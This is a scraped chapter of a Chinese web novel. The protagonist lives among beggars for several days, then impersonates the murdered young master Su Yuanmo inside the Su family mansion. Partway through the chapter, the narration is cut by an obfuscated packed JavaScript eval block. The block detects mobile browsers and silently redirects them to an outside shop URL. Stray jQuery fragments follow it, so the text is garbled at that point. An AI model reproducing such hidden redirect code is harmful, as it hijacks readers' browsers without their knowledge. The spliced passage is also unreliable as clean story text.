文趣网 > 都市小说 > 穿到剧本杀里我成了唯一没剧本的人 > 17.豪门少爷被杀案2
    接下来的每一天,苏策都准时蹲在那群乞丐中间,活脱脱把自己练成了一个职业要饭的。

    他甚至学会了抢位置,哪个路口人流量大,哪个铺子门口的富太太出手阔绰,他摸得很清楚。

    三天下来,他往地上一蹲,碗一端,脖子一缩,连隔壁摊卖炊饼的大爷都分不清他跟旁边那个老乞丐谁是谁。

    每次街上有看起来像有钱人的人走过,他们这排破碗就齐刷刷地伸出去,摇得哗啦哗啦响。

    遇着好心的,人家一枚硬币接一枚地往碗里丢,叮叮当当听着就让人心花怒放;遇着心情不好的,抬脚就把碗踢飞,硬币滚进阴沟里,苏策还得趴在地上扒拉半天才捞回来,惨是惨了点,但捞到就是赚到。

    一天下来,他居然能讨到小五分钱,够买三四个热腾腾的肉包子,还能剩两个攒着。

    苏策蹲在墙角,把当天的硬币数了又数,嘴角的弧度越咧越大。

    他忽然陷入了沉思,原来乞讨这么赚钱的啊?又不用起早贪黑,不用看老板脸色,不用写周报不用开会,往这一坐就有钱进账,日积月累下来,一个月至少能存个一块多钱吧?

    他默默算了笔账,越想越觉得不对劲。

    那当初他娘生病的时候,他还跑来跑去到处借钱,给人打短工,磨破了嘴皮子赊药,累得像条狗。

    他要是早点出来要饭,天天蹲在这里伸碗,说不定早把他娘的药钱凑齐了。药钱凑齐了,他娘说不定就不会死。

    苏策把铜板揣进怀里,抬头望着灰蒙蒙的天,脸上浮现出一种我他妈怎么现在才想通的复杂表情。

    旁边那个老乞丐凑过来,看他一脸惆怅,拍拍他肩膀:“新来的,想什么呢?”

    苏策叹了口气:“想我前半辈子走错路了。”

    老乞丐:“?”

    不过说回来,他彻底融入到乞丐生活中后,也从他们口中打听到了不少苏家的事。

    当然,都只是在外传的,至于苏家里面怎样,他依然不太清楚。

    在外蹲了五六天,最令他感到奇怪的是,苏家居然一直没有动静,他们家不是死了个人吗?怎么全府上上下下表现得如此冷静?

    苏策决定开始行动了。

    他回家洗了个澡,全身上下洗得干干净净,再没有一丝臭味,换了身朴素但整洁的长衫,去理发店理了个跟苏远漠差不多的发型。

    整体看上去,只是换了身衣服的苏远漠。

    不错,原来装一下有钱人,样子还挺帅。

    苏策默念了一遍台词:“从现在开始,我就是苏远漠。”

    他用这几天乞讨攒下的全部积蓄叫了辆黄包车。

    车夫拉着他从城西一路跑到城东苏家大宅,路程比他想象中远得多,等车停在苏家门口的时候,苏策掏空了口袋,一文不剩。

    他站在苏家大门前,仰头看着那块黑底金字的匾额,深吸一口气。

    这几天蹲在街角讨饭,听乞丐们骂苏家抠门,看着苏府的马车从门口进进出出,他一直在等这一刻。

    此刻他站在这儿,鞋底踩在苏家门口的青石板上,竟有些紧张。

    他迈步走上台阶,抬手用力叩了两下门环。

    过了好一会儿,门里才传来拖沓的脚步声,然后门开了一条缝,一个穿着灰布短打的下人探出半边脑袋,不耐烦地皱着眉:“谁啊?”

    下人的目光落在苏策脸上。

    “啊——!”

    一声尖叫差点掀翻门板,下人整个人往后弹了半步,眼珠子瞪得快要掉出来。

    “啊——!”苏策被他吓得也跟着叫了一声,本能地往后退了半步,扶住了门框。

    两人隔着门缝大眼瞪小眼僵了两秒。

    苏策率先反应过来:“你到底在喊什么?看到我跟看到鬼一样。”

    “苏、苏少爷!您、您回来了?”下人的嘴唇哆嗦着,脸色青白交错。

    “不然呢?”苏策皱着眉头,“我不回来去哪儿?”

    “那、那个……”

    “说。”

    下人飞快地往院子里左右扫了一圈,见四下无人,才压低了声音凑近半步,语速又快又急:“当家的说您出远门了,可,可我们底下人都传……说您,您已经死了……”

    苏策心里“咯噔”一下,面上却不动声色,甚至翻了个白眼:“你才死了。好好的咒我做什么?”

    他故意板起脸,语气里带了几分苏远漠该有的凌厉。

    那下人果然慌得腿一软,“扑通”就跪下了,额头差点磕在门槛上:“小的不敢!小的不敢!是听人说的!”

    “哪个当家的说我出远门了?”

    “当家的”三个字,苏策咬得很重。

    下人伏在地上,声音抖得像筛糠:“大、大姨太和二姨太都这么说……苏大小姐和许姑爷也这么说……”

    苏策眯了眯眼。

    这么多当家的?看来是要把他手底的钱和权都瓜分了啊……可他们几个没见到苏远漠的人或者尸,就说他出远门了,有鬼。说不定就是他们几个合谋杀了苏远漠。

    “那又是谁传说我死了?”

    下人拼命摇头:“这个小的真不知道是谁先传出来的……就,就底下人都在说,传了两三天了……求少爷饶命,小的也只是听来的……”

    苏策站在门廊下没吭声。

    他扫视了一圈周围的环境,他现在迷路了。

    “起来吧。”

    下人如蒙大赦,手脚并用地从地上爬起来,依然低垂着头。

    两只手紧张地搓着衣摆,不敢正眼看苏策。

    “带我去我的房间,然后去准备一顿丰盛的午餐,热乎的,多加点肉,别拿凉菜糊弄我。”

    下人连连点头哈腰,转身在前面领路,步子又碎又急。

    苏策背着手跟在他身后,一边走一边不动声色地打量着苏家大宅的内部。

    三进三出的院子,抄手游廊弯弯绕绕,天井里种着一棵老槐树,枝叶遮了半边天。

    比他想象中更大,也更旧,廊柱上的朱漆已经剥落了不少,露出底下深灰色的木头,有一种富贵了太久之后的疲惫。

    下人在东厢房门口停下来,推开雕花木门,侧身让到一旁:“少爷,您的房间到了。”

    送完苏策,下人就匆忙赶去准备午饭。

    苏策跨过门槛,目光在屋里扫了一圈。

    房间很素净,床上的被褥叠得整整齐齐。

    书案上摊着一本账册,翻到一半。一切都像是主人只是临时出去了一趟,随时会回来坐下继续翻那本账册。

    这是死得很突然啊?

    凶手还急着抛尸。

    苏策走到床边,身子往后一倒,整个人陷进了柔软的被褥里。

    床垫厚实又蓬松,跟他在破屋里睡了十几年的硬板床简直是两个世界。

    他舒服地闭上眼睛,长长地吐出一口气,这才是人过的日子。

    躺了几秒,他又翻身坐起来,好奇地东翻翻西看看。

    约

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947718|212978||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    莫过了两刻钟,下人端着一只红漆托盘回来了。

    托盘上摆着红烧肉、清炒时蔬和热气腾腾的鸡汤,还有一小碟腌萝卜,白米饭满满地盛了一碗。

    苏策坐到桌前,拿起筷子吃了一口红烧肉,妈呀,人间美味!跟馒头窝头比起来简直是天上地下的区别。

    他克制住狼吞虎咽的冲动,一口饭一口菜慢慢吃完,最后把鸡汤也喝了个底朝天。

    下人端着空碗碟正准备退出去,苏策靠在椅背上打了个饱嗝,慢悠悠地吩咐道:“我要睡个午觉。谁都不许打扰,敲门也不许应,就说我歇下了。”

    下人了然地点了点头,轻轻带上了房门。

    终于清静了。

    苏策站起来走到书案前,手指搭在那本半翻开的账册边缘。按理说,此时此刻正是查案的最佳时机。

    苏远漠的主卧连着书房,他当时就是死在书房里,现场就在眼前。

    只要他推开门走进去,把书房的每一个角落翻一遍,也许就能找到关于凶手的蛛丝马迹。

    他站在书案前,深吸一口气,正准备迈步。

    但身子没有动。

    腿好像有点软,眼皮也有点沉。

    吃饱了就犯困,他打了个哈欠。

    苏策站在原地挣扎了几秒钟。

    随后,他转身走向那张拔步床,重重地倒在了被褥里。

    就睡一会儿,就一会儿,查案不差这一时半刻的。

    这些天实在太苦了。

    每天缩在街角跟乞丐们挤在一起,夜里睡在铺了半层干草的地面上,后背硌得生疼,下雨天连个躲雨的地方都没有。

    苏远漠这个当哥的命真好,睡了一辈子这么软的床,枕头都带着淡淡的檀香味儿。

    苏策想着想着,眼皮越来越沉。

    等他再次醒来的时候,窗外的天色已经变成了昏沉沉的金红色。

    黄昏了啊,他睡了一整个下午。

    苏策迷迷糊糊地翻了个身,正想再赖一会儿,忽然听见门外传来一阵压低的窸窣声响,不止一个人。

    苏策坐起来,揉了揉眼睛,整理了一下睡皱的长衫,走到门前,伸手拉开了门。

    门一开,他愣住了。

    院子里站了满满当当一群人。

    最前面站着两个衣着华贵的女人,左边那位穿贵气的对襟褂子,约莫四十出头,嘴角微微往下撇着,一双眼珠上上下下打量着苏策。看样子,应该是大姨太冯素梅。

    右边那位稍微年轻些,一身水绿色绸裙,手里捏着块帕子,脸上挂着一种似笑非笑的表情。苏策猜是二姨太刘梦玉。

    她们身后站着一男一女,女的穿藕荷色褙子,年纪比那两个稍小,眉眼间带着一股凌厉的精致;男的站在她半步之后,穿月白长衫,斯斯文文的一张脸。这对估计就是苏珞和许涵柏了。

    再后面还站着几个丫鬟婆子,低着头缩在廊下,大气不敢出。

    院子里安静了一瞬。

    所有人的目光都钉在苏策脸上。

    穿绛紫色褂子的女人先笑了,但眼里却没什么笑意:“远漠啊,你可算回来了。这几天在外面跑什么呢?娘担心得整夜整夜睡不着觉。”

    娘?

    “就是啊,出门怎么不说声呢?害我们担心了好几天!”二姨太刘梦玉附和道。

    “大娘,二娘,我没事,你们要进来坐坐吗?”

    刘梦玉听到这句话,脸顿时黑得跟木炭似的,苏策满脑子问号,他说错了什么吗?